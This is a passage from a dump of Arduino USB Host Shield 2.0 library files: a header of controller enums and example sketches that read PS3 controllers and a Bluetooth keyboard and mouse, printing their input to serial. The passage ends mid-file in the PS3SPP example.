    "content": "/* Copyright (C) 2013 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#ifndef _controllerenums_h\n#define _controllerenums_h\n\n#if defined(ESP32)\n#undef PS\n#endif\n\n/**\n * This header file is used to store different enums for the controllers,\n * This is necessary so all the different libraries can be used at once.\n */\n\n/** Enum used to turn on the LEDs on the different controllers. */\nenum LEDEnum {\n        OFF = 0,\n#ifndef RBL_NRF51822\n        LED1 = 1,\n        LED2 = 2,\n        LED3 = 3,\n        LED4 = 4,\n#endif\n        LED5 = 5,\n        LED6 = 6,\n        LED7 = 7,\n        LED8 = 8,\n        LED9 = 9,\n        LED10 = 10,\n        /** Used to blink all LEDs on the Xbox controller */\n        ALL = 5,\n};\n\n/** Used to set the colors of the Move and PS4 controller. */\nenum ColorsEnum {\n        /** r = 255, g = 0, b = 0 */\n        Red = 0xFF0000,\n        /** r = 0, g = 255, b = 0 */\n        Green = 0xFF00,\n        /** r = 0, g = 0, b = 255 */\n        Blue = 0xFF,\n\n        /** r = 255, g = 235, b = 4 */\n        Yellow = 0xFFEB04,\n        /** r = 0, g = 255, b = 255 */\n        Lightblue = 0xFFFF,\n        /** r = 255, g = 0, b = 255 */\n        Purple = 0xFF00FF,\n        Purble = 0xFF00FF,\n\n        /** r = 255, g = 255, b = 255 */\n        White = 0xFFFFFF,\n        /** r = 0, g = 0, b = 0 */\n        Off = 0x00,\n};\n\nenum RumbleEnum {\n        RumbleHigh = 0x10,\n        RumbleLow = 0x20,\n};\n\n/** This enum is used to read all the different buttons on the different controllers */\nenum ButtonEnum {\n        /**@{*/\n        /** These buttons are available on all the the controllers */\n        UP = 0,\n        RIGHT = 1,\n        DOWN = 2,\n        LEFT = 3,\n        /**@}*/\n\n        /**@{*/\n        /** Wii buttons */\n        PLUS = 5,\n        TWO = 6,\n        ONE = 7,\n        MINUS = 8,\n        HOME = 9,\n        Z = 10,\n        C = 11,\n        B = 12,\n        A = 13,\n        /**@}*/\n\n        /**@{*/\n        /** These are only available on the Wii U Pro Controller */\n        L = 16,\n        R = 17,\n        ZL = 18,\n        ZR = 19,\n        /**@}*/\n\n        /**@{*/\n        /** PS3 controllers buttons */\n        SELECT = 4,\n        START = 5,\n        L3 = 6,\n        R3 = 7,\n\n        L2 = 8,\n        R2 = 9,\n        L1 = 10,\n        R1 = 11,\n        TRIANGLE = 12,\n        CIRCLE = 13,\n        CROSS = 14,\n        SQUARE = 15,\n\n        PS = 16,\n\n        MOVE = 17, // Covers 12 bits - we only need to read the top 8\n        T = 18, // Covers 12 bits - we only need to read the top 8\n        /**@}*/\n\n        /** PS4 controllers buttons - SHARE and OPTIONS are present instead of SELECT and START */\n        SHARE = 4,\n        OPTIONS = 5,\n        TOUCHPAD = 17,\n        /**@}*/\n\n        /**@{*/\n        /** Xbox buttons */\n        BACK = 4,\n        X = 14,\n        Y = 15,\n        XBOX = 16,\n        SYNC = 17,\n        BLACK = 8, // Available on the original Xbox controller\n        WHITE = 9, // Available on the original Xbox controller\n        /**@}*/\n\n        /** PS Buzz controllers */\n        RED = 0,\n        YELLOW = 1,\n        GREEN = 2,\n        ORANGE = 3,\n        BLUE = 4,\n        /**@}*/\n};\n\n/** Joysticks on the PS3 and Xbox controllers. */\nenum AnalogHatEnum {\n        /** Left joystick x-axis */\n        LeftHatX = 0,\n        /** Left joystick y-axis */\n        LeftHatY = 1,\n        /** Right joystick x-axis */\n        RightHatX = 2,\n        /** Right joystick y-axis */\n        RightHatY = 3,\n};\n\n/**\n * Sensors inside the Sixaxis Dualshock 3, Move controller and PS4 controller.\n * <B>Note:</B> that the location is shifted 9 when it's connected via USB on the PS3 controller.\n */\nenum SensorEnum {\n        /** Accelerometer values */\n        aX = 50, aY = 52, aZ = 54,\n        /** Gyro z-axis */\n        gZ = 56,\n        gX, gY, // These are not available on the PS3 controller\n\n        /** Accelerometer x-axis */\n        aXmove = 28,\n        /** Accelerometer z-axis */\n        aZmove = 30,\n        /** Accelerometer y-axis */\n        aYmove = 32,\n\n        /** Gyro x-axis */\n        gXmove = 40,\n        /** Gyro z-axis */\n        gZmove = 42,\n        /** Gyro y-axis */\n        gYmove = 44,\n\n        /** Temperature sensor */\n        tempMove = 46,\n\n        /** Magnetometer x-axis */\n        mXmove = 47,\n        /** Magnetometer z-axis */\n        mZmove = 49,\n        /** Magnetometer y-axis */\n        mYmove = 50,\n};\n\n/** Used to get the angle calculated using the PS3 controller and PS4 controller. */\nenum AngleEnum {\n        Pitch = 0x01,\n        Roll = 0x02,\n};\n\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/BTHID/BTHID.ino",
    "content": "/*\n Example sketch for the HID Bluetooth library - developed by Kristian Lauszus\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <BTHID.h>\n#include <usbhub.h>\n#include \"KeyboardParser.h\"\n#include \"MouseParser.h\"\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n//USBHub Hub1(&Usb); // Some dongles have a hub inside\nBTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so\n\n/* You can create the instance of the class in two ways */\n// This will start an inquiry and then pair with your device - you only have to do this once\n// If you are using a Bluetooth keyboard, then you should type in the password on the keypad and then press enter\nBTHID bthid(&Btd, PAIR, \"0000\");\n\n// After that you can simply create the instance like so and then press any button on the device\n//BTHID hid(&Btd);\n\nKbdRptParser keyboardPrs;\nMouseRptParser mousePrs;\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); // Halt\n  }\n\n  bthid.SetReportParser(KEYBOARD_PARSER_ID, &keyboardPrs);\n  bthid.SetReportParser(MOUSE_PARSER_ID, &mousePrs);\n\n  // If \"Boot Protocol Mode\" does not work, then try \"Report Protocol Mode\"\n  // If that does not work either, then uncomment PRINTREPORT in BTHID.cpp to see the raw report\n  bthid.setProtocolMode(USB_HID_BOOT_PROTOCOL); // Boot Protocol Mode\n  //bthid.setProtocolMode(HID_RPT_PROTOCOL); // Report Protocol Mode\n\n  Serial.print(F(\"\\r\\nHID Bluetooth Library Started\"));\n}\nvoid loop() {\n  Usb.Task();\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/BTHID/KeyboardParser.h",
    "content": "#ifndef __kbdrptparser_h_\n#define __kbdrptparser_h_\n\nclass KbdRptParser : public KeyboardReportParser {\n  protected:\n    virtual uint8_t HandleLockingKeys(USBHID *hid, uint8_t key);\n    virtual void OnControlKeysChanged(uint8_t before, uint8_t after);\n    virtual void OnKeyDown(uint8_t mod, uint8_t key);\n    virtual void OnKeyUp(uint8_t mod, uint8_t key);\n    virtual void OnKeyPressed(uint8_t key);\n\n  private:\n    void PrintKey(uint8_t mod, uint8_t key);\n};\n\nuint8_t KbdRptParser::HandleLockingKeys(USBHID *hid, uint8_t key) {\n  uint8_t old_keys = kbdLockingKeys.bLeds;\n\n  switch (key) {\n    case UHS_HID_BOOT_KEY_NUM_LOCK:\n      Serial.println(F(\"Num lock\"));\n      kbdLockingKeys.kbdLeds.bmNumLock = ~kbdLockingKeys.kbdLeds.bmNumLock;\n      break;\n    case UHS_HID_BOOT_KEY_CAPS_LOCK:\n      Serial.println(F(\"Caps lock\"));\n      kbdLockingKeys.kbdLeds.bmCapsLock = ~kbdLockingKeys.kbdLeds.bmCapsLock;\n      break;\n    case UHS_HID_BOOT_KEY_SCROLL_LOCK:\n      Serial.println(F(\"Scroll lock\"));\n      kbdLockingKeys.kbdLeds.bmScrollLock = ~kbdLockingKeys.kbdLeds.bmScrollLock;\n      break;\n  }\n\n  if (old_keys != kbdLockingKeys.bLeds && hid) {\n    BTHID *pBTHID = reinterpret_cast<BTHID *> (hid); // A cast the other way around is done in BTHID.cpp\n    pBTHID->setLeds(kbdLockingKeys.bLeds); // Update the LEDs on the keyboard\n  }\n\n  return 0;\n};\n\nvoid KbdRptParser::PrintKey(uint8_t m, uint8_t key) {\n  MODIFIERKEYS mod;\n  *((uint8_t*)&mod) = m;\n  Serial.print((mod.bmLeftCtrl == 1) ? F(\"C\") : F(\" \"));\n  Serial.print((mod.bmLeftShift == 1) ? F(\"S\") : F(\" \"));\n  Serial.print((mod.bmLeftAlt == 1) ? F(\"A\") : F(\" \"));\n  Serial.print((mod.bmLeftGUI == 1) ? F(\"G\") : F(\" \"));\n\n  Serial.print(F(\" >\"));\n  PrintHex<uint8_t>(key, 0x80);\n  Serial.print(F(\"< \"));\n\n  Serial.print((mod.bmRightCtrl == 1) ? F(\"C\") : F(\" \"));\n  Serial.print((mod.bmRightShift == 1) ? F(\"S\") : F(\" \"));\n  Serial.print((mod.bmRightAlt == 1) ? F(\"A\") : F(\" \"));\n  Serial.println((mod.bmRightGUI == 1) ? F(\"G\") : F(\" \"));\n};\n\nvoid KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key) {\n  Serial.print(F(\"DN \"));\n  PrintKey(mod, key);\n  uint8_t c = OemToAscii(mod, key);\n\n  if (c)\n    OnKeyPressed(c);\n};\n\nvoid KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {\n  MODIFIERKEYS beforeMod;\n  *((uint8_t*)&beforeMod) = before;\n\n  MODIFIERKEYS afterMod;\n  *((uint8_t*)&afterMod) = after;\n\n  if (beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl)\n    Serial.println(F(\"LeftCtrl changed\"));\n  if (beforeMod.bmLeftShift != afterMod.bmLeftShift)\n    Serial.println(F(\"LeftShift changed\"));\n  if (beforeMod.bmLeftAlt != afterMod.bmLeftAlt)\n    Serial.println(F(\"LeftAlt changed\"));\n  if (beforeMod.bmLeftGUI != afterMod.bmLeftGUI)\n    Serial.println(F(\"LeftGUI changed\"));\n\n  if (beforeMod.bmRightCtrl != afterMod.bmRightCtrl)\n    Serial.println(F(\"RightCtrl changed\"));\n  if (beforeMod.bmRightShift != afterMod.bmRightShift)\n    Serial.println(F(\"RightShift changed\"));\n  if (beforeMod.bmRightAlt != afterMod.bmRightAlt)\n    Serial.println(F(\"RightAlt changed\"));\n  if (beforeMod.bmRightGUI != afterMod.bmRightGUI)\n    Serial.println(F(\"RightGUI changed\"));\n};\n\nvoid KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key) {\n  Serial.print(F(\"UP \"));\n  PrintKey(mod, key);\n};\n\nvoid KbdRptParser::OnKeyPressed(uint8_t key) {\n  Serial.print(F(\"ASCII: \"));\n  Serial.println((char)key);\n};\n\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/BTHID/MouseParser.h",
    "content": "#ifndef __mouserptparser_h__\n#define __mouserptparser_h__\n\nclass MouseRptParser : public MouseReportParser {\n  protected:\n    virtual void OnMouseMove(MOUSEINFO *mi);\n    virtual void OnLeftButtonUp(MOUSEINFO *mi);\n    virtual void OnLeftButtonDown(MOUSEINFO *mi);\n    virtual void OnRightButtonUp(MOUSEINFO *mi);\n    virtual void OnRightButtonDown(MOUSEINFO *mi);\n    virtual void OnMiddleButtonUp(MOUSEINFO *mi);\n    virtual void OnMiddleButtonDown(MOUSEINFO *mi);\n};\n\nvoid MouseRptParser::OnMouseMove(MOUSEINFO *mi) {\n  Serial.print(F(\"dx=\"));\n  Serial.print(mi->dX, DEC);\n  Serial.print(F(\" dy=\"));\n  Serial.println(mi->dY, DEC);\n};\n\nvoid MouseRptParser::OnLeftButtonUp(MOUSEINFO *mi) {\n  Serial.println(F(\"L Butt Up\"));\n};\n\nvoid MouseRptParser::OnLeftButtonDown(MOUSEINFO *mi) {\n  Serial.println(F(\"L Butt Dn\"));\n};\n\nvoid MouseRptParser::OnRightButtonUp(MOUSEINFO *mi) {\n  Serial.println(F(\"R Butt Up\"));\n};\n\nvoid MouseRptParser::OnRightButtonDown(MOUSEINFO *mi) {\n  Serial.println(F(\"R Butt Dn\"));\n};\n\nvoid MouseRptParser::OnMiddleButtonUp(MOUSEINFO *mi) {\n  Serial.println(F(\"M Butt Up\"));\n};\n\nvoid MouseRptParser::OnMiddleButtonDown(MOUSEINFO *mi) {\n  Serial.println(F(\"M Butt Dn\"));\n};\n\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/PS3BT/PS3BT.ino",
    "content": "/*\n Example sketch for the PS3 Bluetooth library - developed by Kristian Lauszus\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <PS3BT.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n//USBHub Hub1(&Usb); // Some dongles have a hub inside\n\nBTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so\n/* You can create the instance of the class in two ways */\nPS3BT PS3(&Btd); // This will just create the instance\n//PS3BT PS3(&Btd, 0x00, 0x15, 0x83, 0x3D, 0x0A, 0x57); // This will also store the bluetooth address - this can be obtained from the dongle when running the sketch\n\nbool printTemperature, printAngle;\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); //halt\n  }\n  Serial.print(F(\"\\r\\nPS3 Bluetooth Library Started\"));\n}\nvoid loop() {\n  Usb.Task();\n\n  if (PS3.PS3Connected || PS3.PS3NavigationConnected) {\n    if (PS3.getAnalogHat(LeftHatX) > 137 || PS3.getAnalogHat(LeftHatX) < 117 || PS3.getAnalogHat(LeftHatY) > 137 || PS3.getAnalogHat(LeftHatY) < 117 || PS3.getAnalogHat(RightHatX) > 137 || PS3.getAnalogHat(RightHatX) < 117 || PS3.getAnalogHat(RightHatY) > 137 || PS3.getAnalogHat(RightHatY) < 117) {\n      Serial.print(F(\"\\r\\nLeftHatX: \"));\n      Serial.print(PS3.getAnalogHat(LeftHatX));\n      Serial.print(F(\"\\tLeftHatY: \"));\n      Serial.print(PS3.getAnalogHat(LeftHatY));\n      if (PS3.PS3Connected) { // The Navigation controller only have one joystick\n        Serial.print(F(\"\\tRightHatX: \"));\n        Serial.print(PS3.getAnalogHat(RightHatX));\n        Serial.print(F(\"\\tRightHatY: \"));\n        Serial.print(PS3.getAnalogHat(RightHatY));\n      }\n    }\n\n    // Analog button values can be read from almost all buttons\n    if (PS3.getAnalogButton(L2) || PS3.getAnalogButton(R2)) {\n      Serial.print(F(\"\\r\\nL2: \"));\n      Serial.print(PS3.getAnalogButton(L2));\n      if (PS3.PS3Connected) {\n        Serial.print(F(\"\\tR2: \"));\n        Serial.print(PS3.getAnalogButton(R2));\n      }\n    }\n\n    if (PS3.getButtonClick(PS)) {\n      Serial.print(F(\"\\r\\nPS\"));\n      PS3.disconnect();\n    }\n    else {\n      if (PS3.getButtonClick(TRIANGLE)) {\n        Serial.print(F(\"\\r\\nTraingle\"));\n        PS3.setRumbleOn(RumbleLow);\n      }\n      if (PS3.getButtonClick(CIRCLE)) {\n        Serial.print(F(\"\\r\\nCircle\"));\n        PS3.setRumbleOn(RumbleHigh);\n      }\n      if (PS3.getButtonClick(CROSS))\n        Serial.print(F(\"\\r\\nCross\"));\n      if (PS3.getButtonClick(SQUARE))\n        Serial.print(F(\"\\r\\nSquare\"));\n\n      if (PS3.getButtonClick(UP)) {\n        Serial.print(F(\"\\r\\nUp\"));\n        if (PS3.PS3Connected) {\n          PS3.setLedOff();\n          PS3.setLedOn(LED4);\n        }\n      }\n      if (PS3.getButtonClick(RIGHT)) {\n        Serial.print(F(\"\\r\\nRight\"));\n        if (PS3.PS3Connected) {\n          PS3.setLedOff();\n          PS3.setLedOn(LED1);\n        }\n      }\n      if (PS3.getButtonClick(DOWN)) {\n        Serial.print(F(\"\\r\\nDown\"));\n        if (PS3.PS3Connected) {\n          PS3.setLedOff();\n          PS3.setLedOn(LED2);\n        }\n      }\n      if (PS3.getButtonClick(LEFT)) {\n        Serial.print(F(\"\\r\\nLeft\"));\n        if (PS3.PS3Connected) {\n          PS3.setLedOff();\n          PS3.setLedOn(LED3);\n        }\n      }\n\n      if (PS3.getButtonClick(L1))\n        Serial.print(F(\"\\r\\nL1\"));\n      if (PS3.getButtonClick(L3))\n        Serial.print(F(\"\\r\\nL3\"));\n      if (PS3.getButtonClick(R1))\n        Serial.print(F(\"\\r\\nR1\"));\n      if (PS3.getButtonClick(R3))\n        Serial.print(F(\"\\r\\nR3\"));\n\n      if (PS3.getButtonClick(SELECT)) {\n        Serial.print(F(\"\\r\\nSelect - \"));\n        PS3.printStatusString();\n      }\n      if (PS3.getButtonClick(START)) {\n        Serial.print(F(\"\\r\\nStart\"));\n        printAngle = !printAngle;\n      }\n    }\n#if 0 // Set this to 1 in order to see the angle of the controller\n    if (printAngle) {\n      Serial.print(F(\"\\r\\nPitch: \"));\n      Serial.print(PS3.getAngle(Pitch));\n      Serial.print(F(\"\\tRoll: \"));\n      Serial.print(PS3.getAngle(Roll));\n    }\n#endif\n  }\n#if 0 // Set this to 1 in order to enable support for the Playstation Move controller\n  else if (PS3.PS3MoveConnected) {\n    if (PS3.getAnalogButton(T)) {\n      Serial.print(F(\"\\r\\nT: \"));\n      Serial.print(PS3.getAnalogButton(T));\n    }\n    if (PS3.getButtonClick(PS)) {\n      Serial.print(F(\"\\r\\nPS\"));\n      PS3.disconnect();\n    }\n    else {\n      if (PS3.getButtonClick(SELECT)) {\n        Serial.print(F(\"\\r\\nSelect\"));\n        printTemperature = !printTemperature;\n      }\n      if (PS3.getButtonClick(START)) {\n        Serial.print(F(\"\\r\\nStart\"));\n        printAngle = !printAngle;\n      }\n      if (PS3.getButtonClick(TRIANGLE)) {\n        Serial.print(F(\"\\r\\nTriangle\"));\n        PS3.moveSetBulb(Red);\n      }\n      if (PS3.getButtonClick(CIRCLE)) {\n        Serial.print(F(\"\\r\\nCircle\"));\n        PS3.moveSetBulb(Green);\n      }\n      if (PS3.getButtonClick(SQUARE)) {\n        Serial.print(F(\"\\r\\nSquare\"));\n        PS3.moveSetBulb(Blue);\n      }\n      if (PS3.getButtonClick(CROSS)) {\n        Serial.print(F(\"\\r\\nCross\"));\n        PS3.moveSetBulb(Yellow);\n      }\n      if (PS3.getButtonClick(MOVE)) {\n        PS3.moveSetBulb(Off);\n        Serial.print(F(\"\\r\\nMove\"));\n        Serial.print(F(\" - \"));\n        PS3.printStatusString();\n      }\n    }\n    if (printAngle) {\n      Serial.print(F(\"\\r\\nPitch: \"));\n      Serial.print(PS3.getAngle(Pitch));\n      Serial.print(F(\"\\tRoll: \"));\n      Serial.print(PS3.getAngle(Roll));\n    }\n    else if (printTemperature) {\n      Serial.print(F(\"\\r\\nTemperature: \"));\n      Serial.print(PS3.getTemperature());\n    }\n  }\n#endif\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/PS3Multi/PS3Multi.ino",
    "content": "/*\n Example sketch for the PS3 Bluetooth library - developed by Kristian Lauszus\n This example show how one can use multiple controllers with the library\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <PS3BT.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n//USBHub Hub1(&Usb); // Some dongles have a hub inside\n\nBTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so\nPS3BT *PS3[2]; // We will use this pointer to store the two instance, you can easily make it larger if you like, but it will use a lot of RAM!\nconst uint8_t length = sizeof(PS3) / sizeof(PS3[0]); // Get the lenght of the array\nbool printAngle[length];\nbool oldControllerState[length];\n\nvoid setup() {\n  for (uint8_t i = 0; i < length; i++) {\n    PS3[i] = new PS3BT(&Btd); // Create the instances\n    PS3[i]->attachOnInit(onInit); // onInit() is called upon a new connection - you can call the function whatever you like\n  }\n\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); //halt\n  }\n  Serial.print(F(\"\\r\\nPS3 Bluetooth Library Started\"));\n}\nvoid loop() {\n  Usb.Task();\n\n  for (uint8_t i = 0; i < length; i++) {\n    if (PS3[i]->PS3Connected || PS3[i]->PS3NavigationConnected) {\n      if (PS3[i]->getAnalogHat(LeftHatX) > 137 || PS3[i]->getAnalogHat(LeftHatX) < 117 || PS3[i]->getAnalogHat(LeftHatY) > 137 || PS3[i]->getAnalogHat(LeftHatY) < 117 || PS3[i]->getAnalogHat(RightHatX) > 137 || PS3[i]->getAnalogHat(RightHatX) < 117 || PS3[i]->getAnalogHat(RightHatY) > 137 || PS3[i]->getAnalogHat(RightHatY) < 117) {\n        Serial.print(F(\"\\r\\nLeftHatX: \"));\n        Serial.print(PS3[i]->getAnalogHat(LeftHatX));\n        Serial.print(F(\"\\tLeftHatY: \"));\n        Serial.print(PS3[i]->getAnalogHat(LeftHatY));\n        if (PS3[i]->PS3Connected) { // The Navigation controller only have one joystick\n          Serial.print(F(\"\\tRightHatX: \"));\n          Serial.print(PS3[i]->getAnalogHat(RightHatX));\n          Serial.print(F(\"\\tRightHatY: \"));\n          Serial.print(PS3[i]->getAnalogHat(RightHatY));\n        }\n      }\n      //Analog button values can be read from almost all buttons\n      if (PS3[i]->getAnalogButton(L2) || PS3[i]->getAnalogButton(R2)) {\n        Serial.print(F(\"\\r\\nL2: \"));\n        Serial.print(PS3[i]->getAnalogButton(L2));\n        if (PS3[i]->PS3Connected) {\n          Serial.print(F(\"\\tR2: \"));\n          Serial.print(PS3[i]->getAnalogButton(R2));\n        }\n      }\n      if (PS3[i]->getButtonClick(PS)) {\n        Serial.print(F(\"\\r\\nPS\"));\n        PS3[i]->disconnect();\n        oldControllerState[i] = false; // Reset value\n      }\n      else {\n        if (PS3[i]->getButtonClick(TRIANGLE))\n          Serial.print(F(\"\\r\\nTraingle\"));\n        if (PS3[i]->getButtonClick(CIRCLE))\n          Serial.print(F(\"\\r\\nCircle\"));\n        if (PS3[i]->getButtonClick(CROSS))\n          Serial.print(F(\"\\r\\nCross\"));\n        if (PS3[i]->getButtonClick(SQUARE))\n          Serial.print(F(\"\\r\\nSquare\"));\n\n        if (PS3[i]->getButtonClick(UP)) {\n          Serial.print(F(\"\\r\\nUp\"));\n          if (PS3[i]->PS3Connected) {\n            PS3[i]->setLedOff();\n            PS3[i]->setLedOn(LED4);\n          }\n        }\n        if (PS3[i]->getButtonClick(RIGHT)) {\n          Serial.print(F(\"\\r\\nRight\"));\n          if (PS3[i]->PS3Connected) {\n            PS3[i]->setLedOff();\n            PS3[i]->setLedOn(LED1);\n          }\n        }\n        if (PS3[i]->getButtonClick(DOWN)) {\n          Serial.print(F(\"\\r\\nDown\"));\n          if (PS3[i]->PS3Connected) {\n            PS3[i]->setLedOff();\n            PS3[i]->setLedOn(LED2);\n          }\n        }\n        if (PS3[i]->getButtonClick(LEFT)) {\n          Serial.print(F(\"\\r\\nLeft\"));\n          if (PS3[i]->PS3Connected) {\n            PS3[i]->setLedOff();\n            PS3[i]->setLedOn(LED3);\n          }\n        }\n\n        if (PS3[i]->getButtonClick(L1))\n          Serial.print(F(\"\\r\\nL1\"));\n        if (PS3[i]->getButtonClick(L3))\n          Serial.print(F(\"\\r\\nL3\"));\n        if (PS3[i]->getButtonClick(R1))\n          Serial.print(F(\"\\r\\nR1\"));\n        if (PS3[i]->getButtonClick(R3))\n          Serial.print(F(\"\\r\\nR3\"));\n\n        if (PS3[i]->getButtonClick(SELECT)) {\n          Serial.print(F(\"\\r\\nSelect - \"));\n          PS3[i]->printStatusString();\n        }\n        if (PS3[i]->getButtonClick(START)) {\n          Serial.print(F(\"\\r\\nStart\"));\n          printAngle[i] = !printAngle[i];\n        }\n      }\n      if (printAngle[i]) {\n        Serial.print(F(\"\\r\\nPitch: \"));\n        Serial.print(PS3[i]->getAngle(Pitch));\n        Serial.print(F(\"\\tRoll: \"));\n        Serial.print(PS3[i]->getAngle(Roll));\n      }\n    }\n    /* I have removed the PS3 Move code as an Uno will run out of RAM if it's included */\n    //else if(PS3[i]->PS3MoveConnected) {\n  }\n}\n\nvoid onInit() {\n  for (uint8_t i = 0; i < length; i++) {\n    if ((PS3[i]->PS3Connected || PS3[i]->PS3NavigationConnected) && !oldControllerState[i]) {\n      oldControllerState[i] = true; // Used to check which is the new controller\n      PS3[i]->setLedOn((LEDEnum)(i + 1)); // Cast directly to LEDEnum - see: \"controllerEnums.h\"\n    }\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/PS3SPP/PS3SPP.ino",
    "content": "/*\n Example sketch for the Bluetooth library - developed by Kristian Lauszus\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n\n This example show how one can combine all the difference Bluetooth services in one single code.\n Note:\n You will need a Arduino Mega 1280/2560 to run this sketch,\n as a normal Arduino (Uno, Duemilanove etc.) doesn't have enough SRAM and FLASH\n */\n\n#include <PS3BT.h>\n#include <SPP.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\n//USBHub Hub1(&Usb); // Some dongles have a hub inside\n\nBTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so\n\n/* You can create the instances of the bluetooth services in two ways */\nSPP SerialBT(&Btd); // This will set the name to the defaults: \"Arduino\" and the pin to \"0000\"\n//SPP SerialBTBT(&Btd,\"Lauszus's Arduino\",\"0000\"); // You can also set the name and pin like so\nPS3BT PS3(&Btd); // This will just create the instance\n//PS3BT PS3(&Btd, 0x00, 0x15, 0x83, 0x3D, 0x0A, 0x57); // This will also store the bluetooth address - this can be obtained from the dongle when running the sketch\n\nbool firstMessage = true;\nString output = \"\"; // We will store the data in this string\n\nvoid setup() {\n  Serial.begin(115200); // This wil lprint the debugging from the libraries\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); //halt\n  }\n  Serial.print(F(\"\\r\\nBluetooth Library Started\"));\n  output.reserve(200); // Reserve 200 bytes for the output string\n}\nvoid loop() {\n  Usb.Task(); // The SPP data is actually not send until this is called, one could call SerialBT.send() directly as well\n\n  if (SerialBT.connected) {\n    if (firstMessage) {\n      firstMessage = false;\n      SerialBT.println(F(\"Hello from Arduino\")); // Send welcome message\n    }\n    if (Serial.available())\n      SerialBT.write(Serial.read());\n    if (SerialBT.available())\n      Serial.write(SerialBT.read());\n  }\n  else\n    firstMessage = true;\n\n  if (PS3.PS3Connected || PS3.PS3NavigationConnected) {\n    output = \"\"; // Reset output string\n    if (PS3.getAnalogHat(LeftHatX) > 137 || PS3.getAnalogHat(LeftHatX) < 117 || PS3.getAnalogHat(LeftHatY) > 137 || PS3.getAnalogHat(LeftHatY) < 117 || PS3.getAnalogHat(RightHatX) > 137 || PS3.getAnalogHat(RightHatX) < 117 || PS3.getAnalogHat(RightHatY) > 137 || PS3.getAnalogHat(RightHatY) < 117) {\n      output += \"LeftHatX: \";\n      output += PS3.getAnalogHat(LeftHatX);\n      output += \"\\tLeftHatY: \";\n      output += PS3.getAnalogHat(LeftHatY);\n      if (PS3.PS3Connected) { // The Navigation controller only have one joystick\n        output += \"\\tRightHatX: \";\n        output += PS3.getAnalogHat(RightHatX);\n        output += \"\\tRightHatY: \";\n        output += PS3.getAnalogHat(RightHatY);\n      }\n    }\n    //Analog button values can be read from almost all buttons\n    if (PS3.getAnalogButton(L2) || PS3.getAnalogButton(R2)) {\n      if (output != \"\")\n        output += \"\\r\\n\";\n      output += \"L2: \";\n      output += PS3.getAnalogButton(L2);\n      if (PS3.PS3Connected) {\n        output += \"\\tR2: \";\n        output += PS3.getAnalogButton(R2);\n      }\n    }\n    if (output != \"\") {\n      Serial.println(output);\n      if (SerialBT.connected)\n        SerialBT.println(output);\n      output = \"\"; // Reset output string\n    }\n    if (PS3.getButtonClick(PS)) {\n      output += \" - PS\";\n      PS3.disconnect();\n    }\n    else {\n      if (PS3.getButtonClick(TRIANGLE))\n        output += \" - Traingle\";\n      if (PS3.getButtonClick(CIRCLE))\n        output += \" - Circle\";\n      if (PS3.getButtonClick(CROSS))\n        output += \" - Cross\";\n      if (PS3.getButtonClick(SQUARE))\n        output += \" - Square\";\n\n      if (PS3.getButtonClick(UP)) {\n        output += \" - 